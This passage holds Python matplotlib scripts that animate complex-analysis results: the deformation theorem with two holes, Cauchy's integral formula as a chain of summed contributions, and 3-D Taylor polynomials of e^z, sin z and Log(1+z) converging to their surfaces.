      "apart": ("Cut the region between $C$ and $C'$ in two; pull the pieces apart", ""),
      "run": ("Run round each piece, counterclockwise",
              "no singularity inside a piece, so each integral is $0$ (Cauchy–Goursat)"),
      "back": ("Put the pieces back", r"$\oint_{\partial P_1}f\,dz+\oint_{\partial P_2}f\,dz=0$"),
      "cancel": ("Each cut is run twice, in opposite directions", "so the cuts cancel"),
      "left": ("What is left: $C$ counterclockwise, $C'$ clockwise", r"$\oint_C f\,dz-\oint_{C'}f\,dz=0$"),
      "flip": ("Run $C'$ counterclockwise: its integral changes sign", ""),
      "end": ("The deformation theorem", r"$\oint_C f\,dz=\oint_{C'}f\,dz$")}


def frame(k):
    clear()
    name, p = engine(ax, k, CURVES, PIECES)
    title.set_text(TT[name][0]); sub.set_text(TT[name][1])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=55)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(150)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""The deformation theorem (Theorem 20.10), version 3: two holes, three cuts.
f(z) = (2z+1)/(z^2+z) = 1/z + 1/(z+1) (Example 20.12) is analytic except at 0 and -1, inside the small
circles C'_1 and C'_2. Three cuts along the real axis divide the region inside C and outside both circles
into two pieces with no singularity inside. Pull apart, run round, put back: the cuts cancel, leaving C
counterclockwise and both circles clockwise, so the integral round C is the sum of the integrals round
C'_1 and C'_2, which is 2 pi i + 2 pi i = 4 pi i.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the deformation animations (make_deform.py pastes it into each script).
# Pieces of the region between C and the inner contours, pulled apart, run round, put back; the cuts cancel.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.colors import to_rgb

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"                          # C and the inner contours, as in the notes' plate
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


def mix(c1, c2, t):
    return tuple((1 - t) * np.array(to_rgb(c1)) + t * np.array(to_rgb(c2)))


def plen(P):
    return np.abs(np.diff(P)).sum()


def pt(P, L):                                              # the point at arclength L along the polyline P
    d = np.abs(np.diff(P)); c = np.r_[0, np.cumsum(d)]
    L = min(max(L, 0.0), c[-1]); i = min(np.searchsorted(c, L, side="right") - 1, len(d) - 1)
    return P[i] + (P[i + 1] - P[i]) * (L - c[i]) / d[i]


def upto(P, u):                                            # the first fraction u of P
    c = np.r_[0, np.cumsum(np.abs(np.diff(P)))]; L = u * c[-1]
    return np.r_[P[c < L], pt(P, L)]


def warr(P):                                               # where the arrows go on P (fractions of its length)
    n = max(1, int(round(plen(P) / 1.5)))
    return [(i + 0.5) / n for i in range(n)]


def line(ax, P, **kw):
    live.extend(ax.plot(np.real(P), np.imag(P), **kw))


def parrow(ax, P, w, col, alpha=1.0, ms=16, shift=0, rev=False):
    L = w * plen(P); p, q = pt(P, L - 0.07) + shift, pt(P, L + 0.07) + shift
    if rev:
        p, q = q, p
    live.append(ax.annotate("", xy=(q.real, q.imag), xytext=(p.real, p.imag), zorder=5,
                            arrowprops=dict(arrowstyle="-|>", color=col, lw=2, alpha=alpha, mutation_scale=ms)))


def dot(ax, z, col, s=55):
    live.append(ax.scatter([z.real], [z.imag], s=s, color=col, zorder=6, edgecolor="white", lw=1))


def text(ax, z, s, **kw):
    live.append(ax.text(z.real, z.imag, s, ha="center", va="center", **kw))


def arc(c, r, a, b, n):                                    # c + r e^{it}, t from a to b
    return c + r * np.exp(1j * np.linspace(a, b, n))


def seg(a, b):
    return np.linspace(a, b, 12)


def make_piece(segs, col, off, lp):
    """segs: (points, kind, cut id), kind 'C', 'Cp' or 'cut'; the boundary of the piece, counterclockwise.
    Arrows on a cut are pushed a little into the piece, so the two arrows on a cut sit side by side."""
    full = np.concatenate([P for P, _, _ in segs]); cen = full.mean(); sh = {}
    for P, kind, cid in segs:
        if kind == "cut":
            d = P[-1] - P[0]; nrm = 1j * d / abs(d)
            sh[cid] = 0.08 * np.sign(((cen - P.mean()) * np.conj(nrm)).real) * nrm
    return dict(segs=segs, col=col, off=off, lp=lp, sh=sh, full=full)


def draw_piece(ax, pc, g, s, cut_alpha=1.0, rec=0.0, glow=0.0, lab=0.0):
    """piece pc moved out by g, run round up to the fraction s; rec: arcs recoloured to C / C' colours"""
    o = g * pc["off"]; full = pc["full"] + o
    live.extend(ax.fill(full.real, full.imag, color=pc["col"], alpha=0.13 * (1 - rec), lw=0))
    Ls = [plen(P) for P, _, _ in pc["segs"]]; tot = sum(Ls); acc = 0.0
    for (P, kind, cid), Lk in zip(pc["segs"], Ls):
        u = min(max((s * tot - acc) / Lk, 0.0), 1.0); acc += Lk
        if u <= 0:
            continue
        Q = P + o
        if kind == "cut":
            col, al, lw, sh = pc["col"], cut_alpha, 2.3 + 2 * glow, pc["sh"][cid]
            if al < 0.02:
                continue
        else:
            col, al, lw, sh = mix(pc["col"], CCOL if kind == "C" else PCOL, rec), 1.0, 2.3, 0
        line(ax, upto(Q, u), color=col, lw=lw, alpha=al)
        for w in warr(P):
            if u > w + 0.06:
                parrow(ax, Q, w, col, al, ms=16 + (7 * glow if kind == "cut" else 0), shift=sh)
    if 0 < s < 1:
        dot(ax, pt(full, s * tot), pc["col"])
    if lab > 0:
        text(ax, pc["lp"] + o, pc.get("name", ""), fontsize=12, color=pc["col"], alpha=lab)


def curve(ax, P, col, s=1.0, alpha=1.0, ccw=1.0, cw=0.0):
    line(ax, upto(P, s), color=col, lw=2.6, alpha=alpha)
    for w in warr(P):
        if s > w + 0.05:
            if ccw > 0:
                parrow(ax, P, w, col, alpha * ccw)
            if cw > 0:
                parrow(ax, P, w, col, alpha * cw, rev=True)


PH = [("goal", 36), ("apart", 20), ("run", 54), ("back", 22), ("cancel", 26), ("left", 22), ("flip", 18), ("end", 24)]
SCHED = list(range(sum(n for _, n in PH)))


def where(k):
    for name, n in PH:
        if k < n:
            return name, k / (n - 1)
        k -= n
    return PH[-1][0], 1.0


def engine(ax, k, CURVES, PIECES):
    """one frame of the common story; returns the phase name and progress"""
    name, p = where(k)
    if name == "goal":
        for P, col in CURVES:
            curve(ax, P, col, p); dot(ax, pt(P, p * plen(P)), col)
    elif name == "apart":
        g = ease(p)
        for P, col in CURVES:
            curve(ax, P, col, 1, 1 - 0.88 * g)
        for pc in PIECES:
            draw_piece(ax, pc, g, 0.0)
    elif name == "run":
        for pc in PIECES:
            draw_piece(ax, pc, 1.0, p, lab=min(1, max(0, (p - 0.85) / 0.15)))
    elif name == "back":
        for pc in PIECES:
            draw_piece(ax, pc, 1 - ease(p), 1.0, lab=1 - ease(p))
    elif name == "cancel":
        glow, f = np.sin(np.pi * min(p / 0.45, 1.0)), ease((p - 0.45) / 0.55)
        for pc in PIECES:
            draw_piece(ax, pc, 0.0, 1.0, 1 - f, f, glow)
    elif name == "left":
        for pc in PIECES:
            draw_piece(ax, pc, 0.0, 1.0, 0.0, 1.0)
    else:
        f = ease(p) if name == "flip" else 1.0
        for i, (P, col) in enumerate(CURVES):
            curve(ax, P, col, ccw=1.0 if i == 0 else f, cw=0.0 if i == 0 else 1 - f)
    return name, p

fig = plt.figure(figsize=(7.4, 7.0)); AXPOS = [0.02, 0.02, 0.96, 0.84]

ax = fig.add_axes(AXPOS); ax.set_aspect("equal"); ax.axis("off")
title = fig.text(0.5, 0.955, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.905, "", ha="center", fontsize=12, color="0.3")

ax.set_xlim(-3.3, 2.3); ax.set_ylim(-2.75, 2.75)
c, RHO = -0.5, 0.32
R = lambda t: 1.75 + 0.2 * np.cos(2 * t) + 0.12 * np.sin(3 * t)
outer = lambda a, b, n: c + R(np.linspace(a, b, n)) * np.exp(1j * np.linspace(a, b, n))
CL, CR = c - R(np.pi), c + R(0)                              # where C meets the real axis
CURVES = [(outer(0, 2 * np.pi, 400), CCOL), (arc(-1, RHO, 0, 2 * np.pi, 120), PCOL), (arc(0, RHO, 0, 2 * np.pi, 120), PCOL)]
UP = make_piece([(outer(0, np.pi, 220), "C", None), (seg(CL, -1 - RHO), "cut", "L"),
                 (arc(-1, RHO, np.pi, 0, 60), "Cp", None), (seg(-1 + RHO, -RHO), "cut", "M"),
                 (arc(0, RHO, np.pi, 0, 60), "Cp", None), (seg(RHO, CR), "cut", "R")],
                "tab:blue", 0.75j, c + 0.95j)
DOWN = make_piece([(outer(np.pi, 2 * np.pi, 220), "C", None), (seg(CR, RHO), "cut", "R"),
                   (arc(0, RHO, 0, -np.pi, 60), "Cp", None), (seg(-RHO, -1 + RHO), "cut", "M"),
                   (arc(-1, RHO, 0, -np.pi, 60), "Cp", None), (seg(-1 - RHO, CL), "cut", "L")],
                  "tab:green", -0.75j, c - 0.95j)
UP["name"] = "$P_1$\n" r"$\oint_{\partial P_1}f\,dz=0$"; DOWN["name"] = "$P_2$\n" r"$\oint_{\partial P_2}f\,dz=0$"
PIECES = [UP, DOWN]
ax.scatter([0, -1], [0, 0], s=40, color="red", zorder=7)
ax.text(0.02, -0.5, "$0$", color="red", fontsize=13, ha="center"); ax.text(-1, -0.5, "$-1$", color="red", fontsize=13, ha="center")
TT = {"goal": ("Goal: compare $\\oint_C$ with $\\oint_{C'_1}+\\oint_{C'_2}$",
               r"$f(z)=\frac{2z+1}{z^2+z}=\frac{1}{z}+\frac{1}{z+1}$ is analytic except at $0$ and $-1$"),
      "apart": ("Three cuts divide the region into two pieces; pull them apart", ""),
      "run": ("Run round each piece, counterclockwise",
              "no singularity inside a piece, so each integral is $0$ (Cauchy–Goursat)"),
      "back": ("Put the pieces back", r"$\oint_{\partial P_1}f\,dz+\oint_{\partial P_2}f\,dz=0$"),
      "cancel": ("Each cut is run twice, in opposite directions", "so the cuts cancel"),
      "left": ("What is left: $C$ counterclockwise, both circles clockwise",
               r"$\oint_C f\,dz-\oint_{C'_1}f\,dz-\oint_{C'_2}f\,dz=0$"),
      "flip": ("Run the circles counterclockwise: their integrals change sign", ""),
      "end": ("The deformation theorem with two holes",
              r"$\oint_C f\,dz=\oint_{C'_1}f\,dz+\oint_{C'_2}f\,dz=2\pi i+2\pi i=4\pi i$")}


def frame(k):
    clear()
    name, p = engine(ax, k, CURVES, PIECES)
    title.set_text(TT[name][0]); sub.set_text(TT[name][1])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=55)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(150)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Cauchy's integral formula (Theorem 21.1), version 3: adding up the pieces.
f(z) = e^z. The curve is cut into 32 pieces; the contribution (1/2 pi i) f(z) dz/(z-z0) of each piece is a
complex number, and on the right they are added tip to tail. The chain ends at f(z0). Deforming C into a
circle about z0 changes the chain but not its end (Theorem 20.10). On a circle of radius rho, dz is small
(about rho dtheta) and 1/(z-z0) is large (1/rho): the product i dtheta does not depend on rho. As the circle
shrinks f is nearly f(z0) on it, so the chain straightens into 32 equal steps from 0 to f(z0).
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the Cauchy-integral-formula animations (make_cif.py pastes it into each script).
# C is deformed into the circle C_rho about z0 (Theorem 20.10), then the circle shrinks.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.colors import to_rgb

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
f = np.exp                                                  # the analytic function
Z0 = 0.2 + 0.3j                                             # the point inside C
FZ0 = f(Z0)
Rc = lambda t: 1.55 + 0.25 * np.cos(2 * t) + 0.15 * np.sin(3 * t + 0.4)     # C: z0 + Rc(t) e^{it}
dRc = lambda t: -0.5 * np.sin(2 * t) + 0.45 * np.cos(3 * t + 0.4)
RHO0, RHO1 = 0.7, 0.05
NT = 768
TH = np.linspace(0, 2 * np.pi, NT, endpoint=False)
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))


def curve(lam, rho):
    """C deformed a fraction lam of the way to the circle of radius rho about z0; points and dz/dt"""
    r = (1 - lam) * Rc(TH) + lam * rho
    dr = (1 - lam) * dRc(TH)
    e = np.exp(1j * TH)
    return Z0 + r * e, (dr + 1j * r) * e


def cif(z, dz):                                            # (1/2 pi i) times the integral of f(z)/(z-z0)
    return (f(z) / (z - Z0) * dz).sum() * (2 * np.pi / NT) / (2j * np.pi)


PH = [("run", 34), ("deform", 40), ("shrink", 66), ("hold", 24)]
SCHED = list(range(sum(n for _, n in PH)))


def state(k):
    """phase, progress, lam (deformation), rho (radius), s (how far round the first run has got)"""
    for name, n in PH:
        if k < n:
            p = k / (n - 1)
            break
        k -= n
    if name == "run":
        return name, p, 0.0, RHO0, p
    if name == "deform":
        return name, p, ease(p), RHO0, 1.0
    if name == "shrink":
        return name, p, 1.0, RHO0 * (RHO1 / RHO0) ** ease(p), 1.0
    return name, p, 1.0, RHO1, 1.0


live = []


def clear():
    while live:
        live.pop().remove()


def mix(c1, c2, t):
    return tuple((1 - t) * np.array(to_rgb(c1)) + t * np.array(to_rgb(c2)))


def fmt(w):
    w = complex(round(w.real, 4) + 0.0, round(w.imag, 4) + 0.0)
    return "$%.4f %s %.4f\\,i$" % (w.real, "-" if w.imag < 0 else "+", abs(w.imag))


def left(ax, name, lam, rho, s):
    """C (faint), the current curve with arrows, z0"""
    z, _ = curve(0, 0)
    live.extend(ax.plot(np.r_[z, z[:1]].real, np.r_[z, z[:1]].imag, color=CCOL, lw=1, alpha=0.25))
    z, _ = curve(lam, rho)
    col = mix(CCOL, PCOL, lam)
    m = int(s * NT)
    zz = np.r_[z, z[:1]][:m + 1]
    live.extend(ax.plot(zz.real, zz.imag, color=col, lw=2.4))
    for a in (0.1, 0.43, 0.76) if (lam < 1 or rho > 0.2) else ():   # no arrows on a tiny circle
        i = int(a * NT)
        if i + 6 < m:
            live.append(ax.annotate("", xy=(z[i + 6].real, z[i + 6].imag), xytext=(z[i - 6].real, z[i - 6].imag),
                                    arrowprops=dict(arrowstyle="-|>", color=col, lw=2, mutation_scale=15)))
    if s < 1:
        live.append(ax.scatter([z[m % NT].real], [z[m % NT].imag], s=55, color=col, zorder=6, edgecolor="white"))


def setup_left(ax):
    ax.set_aspect("equal"); ax.axis("off")
    ax.set_xlim(-1.8, 2.2); ax.set_ylim(-1.7, 2.3)
    ax.scatter([Z0.real], [Z0.imag], s=30, color="red", zorder=7)
    ax.text(Z0.real + 0.06, Z0.imag - 0.17, "$z_0$", color="red", fontsize=13)

fig = plt.figure(figsize=(11.4, 5.9))
axl = fig.add_axes([0.01, 0.03, 0.43, 0.76]); setup_left(axl)
title = fig.text(0.5, 0.95, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.885, "", ha="center", fontsize=12, color="0.3")
DEFORM_T = ("Deform $C$ into a circle $C_\\rho$ round $z_0$: the integral does not change",
            "(Theorem 20.10: $f(z)/(z-z_0)$ is analytic between the curves)")

axr = fig.add_axes([0.55, 0.06, 0.42, 0.72]); axr.set_aspect("equal"); axr.tick_params(labelsize=9)
axr.axhline(0, color="0.85", lw=0.8); axr.axvline(0, color="0.85", lw=0.8)
N = 32
HUE = plt.cm.hsv(np.arange(N) / N)


def pieces(lam, rho):
    z, dz = curve(lam, rho)
    return (f(z) / (z - Z0) * dz * (2 * np.pi / NT) / (2j * np.pi)).reshape(N, -1).sum(1)


ALL = np.concatenate([np.r_[0, np.cumsum(pieces(*state(k)[2:4]))] for k in SCHED[::6]])
axr.set_xlim(ALL.real.min() - 0.2, ALL.real.max() + 0.2); axr.set_ylim(ALL.imag.min() - 0.2, ALL.imag.max() + 0.2)
axr.scatter([FZ0.real], [FZ0.imag], marker="*", s=240, color="red", zorder=7)
axr.text(FZ0.real + 0.08, FZ0.imag + 0.1, "$f(z_0)$", color="red", fontsize=13)
axr.scatter([0], [0], s=20, color="k"); axr.text(-0.05, -0.12, "$0$", fontsize=12, ha="right")
TT = {"run": (r"Add up the pieces $\frac{1}{2\pi i}\,\frac{f(z)}{z-z_0}\,\Delta z$ tip to tail",
              r"$f(z)=e^{z}$; $32$ pieces of the curve (left) and their contributions (right)"),
      "deform": ("Deform $C$ into a circle round $z_0$: the chain changes, its end does not",
                 "(Theorem 20.10: $f(z)/(z-z_0)$ is analytic between the curves)"),
      "shrink": (r"Shrink the circle: each piece tends to $f(z_0)\,\Delta\theta/2\pi$",
                 r"$\Delta z\approx i\rho e^{i\theta}\Delta\theta$ is small, $1/(z-z_0)=e^{-i\theta}/\rho$ is large: "
                 r"the product $i\,\Delta\theta$ does not depend on $\rho$"),
      "hold": ("The chain is 32 equal steps from $0$ to $f(z_0)$",
               r"$f(z_0)=\frac{1}{2\pi i}\oint_C\frac{f(z)}{z-z_0}\,dz$")}


def frame(k):
    clear()
    name, p, lam, rho, s = state(k)
    left(axl, name, lam, rho, s)
    z, _ = curve(lam, rho)
    n = N if s >= 1 else int(s * N)
    live.append(axl.scatter(z[::NT // N][:n + 1].real, z[::NT // N][:n + 1].imag, s=14, c=HUE[:n + 1], zorder=6))
    P = np.r_[0, np.cumsum(pieces(lam, rho))]
    for j in range(n):
        live.append(axr.annotate("", xy=(P[j + 1].real, P[j + 1].imag), xytext=(P[j].real, P[j].imag), zorder=5,
                                 arrowprops=dict(arrowstyle="-|>", color=HUE[j], lw=1.8, mutation_scale=11,
                                                 shrinkA=0, shrinkB=0)))
    live.append(axr.scatter([P[n].real], [P[n].imag], s=40, color="k", zorder=8))
    title.set_text(TT[name][0]); sub.set_text(TT[name][1])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=60)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(105)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Taylor polynomials in 3-D (Theorem 24.1), version 1: the overlay.
Left the surface u = Re f, right v = Im f, over a square about z0 = 0 (teal, translucent). The Taylor polynomial
P_N of degree N = 0, 1, 2, ... is drawn as an orange mesh: Re P_N on the left, Im P_N on the right. As N grows
the meshes settle onto the surfaces. Three functions in turn: e^z and sin z (entire, R = infinity), and
Log(1+z) (R = 1, eq. (24.7)) on the square |x|, |y| <= 0.9, whose corners lie outside the circle |z| = 1:
there the meshes do not settle.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the 3-D Taylor-polynomial animations (make_taylorS.py pastes it into each script).
# u = Re f and v = Im f as surfaces over a square about z0 = 0, and the Taylor polynomials P_N (Theorem 24.1).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
K = np.arange(21.0)
FAC = np.cumprod(np.r_[1, K[1:]])
# name, f, Taylor coefficients f^(k)(0)/k! (Prop. 24.4), half-width A of the square, radius R, vertical range
FUNS = [(r"e^{z}", np.exp, 1 / FAC, 1.5, np.inf, (-4.6, 4.6)),
        (r"\sin z", np.sin, np.where(K % 2 == 1, (-1.0) ** ((K - 1) // 2), 0) / FAC, 1.5, np.inf, (-2.5, 2.5)),
        (r"\mathrm{Log}(1+z)", lambda z: np.log(1 + z), np.r_[0, (-1.0) ** K[:20] / K[1:]], 0.9, 1.0, (-2.5, 1.6))]
T = np.linspace(-1, 1, 25)
G = T[None, :] + 1j * T[:, None]                   # 25 x 25 mesh of the unit square (scaled by A)
TF = np.linspace(-1, 1, 61)
GF = TF[None, :] + 1j * TF[:, None]                # finer grid for the error numbers
CIRC = np.exp(1j * np.linspace(0, 2 * np.pi, 121))


def P(c, N, z):
    """Taylor polynomial of degree N about 0 with coefficients c (Horner)"""
    r = 0 * z + 0j
    for a in c[N::-1]:
        r = r * z + a
    return r


NS = [list(range(7)), [0, 1, 3, 5, 7], list(range(13))]     # degrees shown (sin: a_k = 0 for even k)
TOURS = [(2, 6), (3, 7), (2, 6, 12)]                         # at these degrees the camera turns and zooms in
MORPH, SHORT, TOUR, INTRO = 9, 6, 42, 8
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)


def sched():
    """frames (function, from degree a, to degree b, s, pause counter j (-1 while morphing), pause length)"""
    out = []
    for fi, ns in enumerate(NS):
        out += [(fi, 0, 0, 1.0, j, INTRO) for j in range(INTRO)]
        for a, b in zip(ns, ns[1:]):
            L = TOUR if b in TOURS[fi] else SHORT
            out += [(fi, a, b, ease(j / (MORPH - 1)), -1, 0) for j in range(MORPH)]
            out += [(fi, b, b, 1.0, j, L) for j in range(L)]
    return out


SCHED = sched()


def worst(fi, N, pts):
    """the point of pts where |f - P_N| is largest"""
    e = np.abs(FUNS[fi][1](pts) - P(FUNS[fi][2], N, pts))
    return pts.flat[np.argmax(e)]


def Q(fi, a, b, s, z):
    """the homotopy (1-s) P_a + s P_b"""
    c = FUNS[fi][2]
    return (1 - s) * P(c, a, z) + s * P(c, b, z)


def setup3d(ax, lab):
    ax.set_axis_off(); ax.set_proj_type("persp", focal_length=0.3)
    try:
        ax.set_box_aspect((1, 1, 0.75), zoom=1.1)
    except TypeError:                              # older matplotlib
        ax.set_box_aspect((1, 1, 0.75))
    ax.text2D(0.5, 0.97, lab, transform=ax.transAxes, ha="center", fontsize=13)


ERR = {}


def errtext(fi, N):
    if (fi, N) not in ERR:
        name, f, c, A, R, _ = FUNS[fi]
        z = A * GF; e = np.abs(f(z) - P(c, N, z))
        s = r"$\max|f-P_{%d}|$ on the square: $%.1e$" % (N, e.max())
        if R < np.inf:
            s += r",   on $|z|\leq0.8$: $%.1e$" % e[np.abs(z) <= 0.8].max()
        ERR[fi, N] = s
    return ERR[fi, N]


live = []


def clear():
    while live:
        live.pop().remove()

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.935, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.88, "", ha="center", fontsize=12, color="0.3")
num = fig.text(0.5, 0.03, "", ha="center", fontsize=12)
term = fig.text(0.5, 0.075, "", ha="center", fontsize=12.5, color=PCOL)
bigN = fig.text(0.02, 0.03, "", fontsize=22)
AX = [fig.add_axes([-0.01, 0.1, 0.51, 0.76], projection="3d"), fig.add_axes([0.5, 0.1, 0.51, 0.76], projection="3d")]
cur, base, LIM0 = [None], [], {}


def floor(ax, A, R, zl):
    """the square and, for a finite radius, the circle |z| = R, drawn on the floor of the box"""
    base.extend(ax.plot(A * np.array([-1, 1, 1, -1, -1]), A * np.array([-1, -1, 1, 1, -1]), zl[0], color="0.6", lw=0.8))
    if R < np.inf:
        base.extend(ax.plot(R * CIRC.real, R * CIRC.imag, zl[0], color="red", lw=1.6, ls="--"))


def show(fi, surf=True, alpha=0.45, zl=None):
    """change to function fi: limits, floor and (if surf) the surfaces u, v"""
    while base:
        base.pop().remove()
    name, f, c, A, R, zl0 = FUNS[fi]; z = A * G; w = f(z); zl = zl or zl0
    for ax, W in zip(AX, (w.real, w.imag)):
        LIM0[ax] = [(-A, A), (-A, A), zl]; floor(ax, A, R, zl)
        if surf:
            base.append(ax.plot_surface(z.real, z.imag, W, color=CCOL, alpha=alpha, lw=0, shade=True))
    cur[0] = fi


SUB = [r"$e^{z}$ is entire, $R=\infty$ (Proposition 24.4): the polynomials approach $f$ on the whole square",
       r"$\sin z$ is entire, $R=\infty$; only odd powers occur ($a_{2m}=0$), so $N$ runs $0,1,3,5,\dots$",
       r"$\mathrm{Log}(1+z)$, $R=1$ (eq. (24.7)): convergence inside $|z|=1$ (red, on the floor); "
       r"the corners of the square lie outside"]


def camera(k, tg):
    """still during a morph; in a long pause turn round and zoom in on tg (a target (x, y, z) per panel)"""
    fi, a, b, s, j, L = SCHED[k]
    u = j / (L - 1) if L == TOUR else 0.0
    w = np.sin(np.pi * u) ** 2
    for ax, t in zip(AX, tg):
        for (lo, hi), st, c in zip(LIM0[ax], (ax.set_xlim, ax.set_ylim, ax.set_zlim), t):
            m, h = (1 - 0.6 * w) * (lo + hi) / 2 + 0.6 * w * c, (hi - lo) / 2 / (1 + 0.9 * w)
            st(m - h, m + h)
        ax.view_init(elev=24, azim=-60 + 360 * (u - np.sin(2 * np.pi * u) / (2 * np.pi)))   # one full turn, eased


def gap(zs, lo, hi, zl):
    """red segments at zs from lo to hi in each panel (lo, hi complex: real part left, imaginary part right)"""
    for ax, g in zip(AX, (np.real, np.imag)):
        live.extend(ax.plot([zs.real] * 2, [zs.imag] * 2, np.clip([g(lo), g(hi)], *zl), color="red", lw=3, zorder=10))
    return [(zs.real, zs.imag, float(np.clip((g(lo) + g(hi)) / 2, *zl))) for g in (np.real, np.imag)]


def labels(fi, a, b, s, j, L, zs=0, extra=""):
    """the degree (pulses when a new one is reached), the term being added, the error (only in pauses)"""
    c = FUNS[fi][2]
    if j < 0:
        bigN.set_text(r"$N=%d\to%d$" % (a, b)); bigN.set_color("0.5"); bigN.set_fontsize(22)
        num.set_color("0.6"); num.set_text(errtext(fi, a) + extra)
    else:
        bigN.set_text(r"$N=%d$" % b); bigN.set_color(PCOL if j < 5 else "k"); bigN.set_fontsize(30 if j < 5 else 24)
        num.set_color("k"); num.set_text(errtext(fi, b) + extra)
    if L == TOUR:
        term.set_text(r"a closer look where $|f-P_{%d}|$ is largest: $z=%.2f%+.2fi$ (red: the gap)" % (b, zs.real, zs.imag))
    elif a == b:
        term.set_text(r"$P_0=f(0)=%.4g$" % c[0] if b == 0 else r"added $a_{%d}z^{%d}$" % (b, b))
    else:
        term.set_text(r"adding $a_{%d}z^{%d}$,   $a_{%d}=\frac{f^{(%d)}(0)}{%d!}=%.4g$" % (b, b, b, b, b, c[b])
                      + (r"   ($a_{%d}=0$)" % (b - 1) if b - a > 1 else ""))
    sub.set_text(SUB[fi])


for ax, lab in zip(AX, (r"$u=\mathrm{Re}\,f$ (teal) and $\mathrm{Re}\,P_N$ (orange)",
                        r"$v=\mathrm{Im}\,f$ (teal) and $\mathrm{Im}\,P_N$ (orange)")):
    setup3d(ax, lab)


def frame(k):
    fi, a, b, s, j, L = SCHED[k]
    if fi != cur[0]:
        show(fi)
    clear()
    name, f, c, A, R, zl = FUNS[fi]; z = A * G; p = Q(fi, a, b, s, z)
    for ax, W in zip(AX, (p.real, p.imag)):
        live.append(ax.plot_wireframe(z.real, z.imag, np.clip(W, *zl), color=PCOL, lw=0.9, rstride=2, cstride=2))
    zs = worst(fi, b, z) if L == TOUR else 0j
    camera(k, gap(zs, f(zs), P(c, b, zs), zl) if L == TOUR else [(0, 0, 0)] * 2)
    title.set_text(r"$f(z)=%s$ and its Taylor polynomials $P_N$ about $z_0=0$ (Theorem 24.1)" % name)
    labels(fi, a, b, s, j, L, zs)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=55)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(538)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Taylor polynomials in 3-D (Theorem 24.1), version 2: the error.
Left the surface Re(f - P_N), right Im(f - P_N), over a square about z0 = 0, on a fixed vertical scale from -1
to 1 (values beyond are cut off at +-1), coloured by height. As the degree N = 0, 1, 2, ... grows the surfaces
flatten onto the plane 0. Three functions in turn: e^z and sin z (entire, R = infinity), and Log(1+z) (R = 1,
eq. (24.7)) on the square |x|, |y| <= 0.9: the error dies inside the circle |z| = 1 (red, on the floor) and
not at the corners of the square, which lie outside it.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the 3-D Taylor-polynomial animations (make_taylorS.py pastes it into each script).
# u = Re f and v = Im f as surfaces over a square about z0 = 0, and the Taylor polynomials P_N (Theorem 24.1).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
K = np.arange(21.0)
FAC = np.cumprod(np.r_[1, K[1:]])
# name, f, Taylor coefficients f^(k)(0)/k! (Prop. 24.4), half-width A of the square, radius R, vertical range
FUNS = [(r"e^{z}", np.exp, 1 / FAC, 1.5, np.inf, (-4.6, 4.6)),
        (r"\sin z", np.sin, np.where(K % 2 == 1, (-1.0) ** ((K - 1) // 2), 0) / FAC, 1.5, np.inf, (-2.5, 2.5)),
        (r"\mathrm{Log}(1+z)", lambda z: np.log(1 + z), np.r_[0, (-1.0) ** K[:20] / K[1:]], 0.9, 1.0, (-2.5, 1.6))]
T = np.linspace(-1, 1, 25)
G = T[None, :] + 1j * T[:, None]                   # 25 x 25 mesh of the unit square (scaled by A)
TF = np.linspace(-1, 1, 61)
GF = TF[None, :] + 1j * TF[:, None]                # finer grid for the error numbers
CIRC = np.exp(1j * np.linspace(0, 2 * np.pi, 121))


def P(c, N, z):
    """Taylor polynomial of degree N about 0 with coefficients c (Horner)"""
    r = 0 * z + 0j
    for a in c[N::-1]:
        r = r * z + a
    return r


NS = [list(range(7)), [0, 1, 3, 5, 7], list(range(13))]     # degrees shown (sin: a_k = 0 for even k)
TOURS = [(2, 6), (3, 7), (2, 6, 12)]                         # at these degrees the camera turns and zooms in
MORPH, SHORT, TOUR, INTRO = 9, 6, 42, 8
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)


def sched():
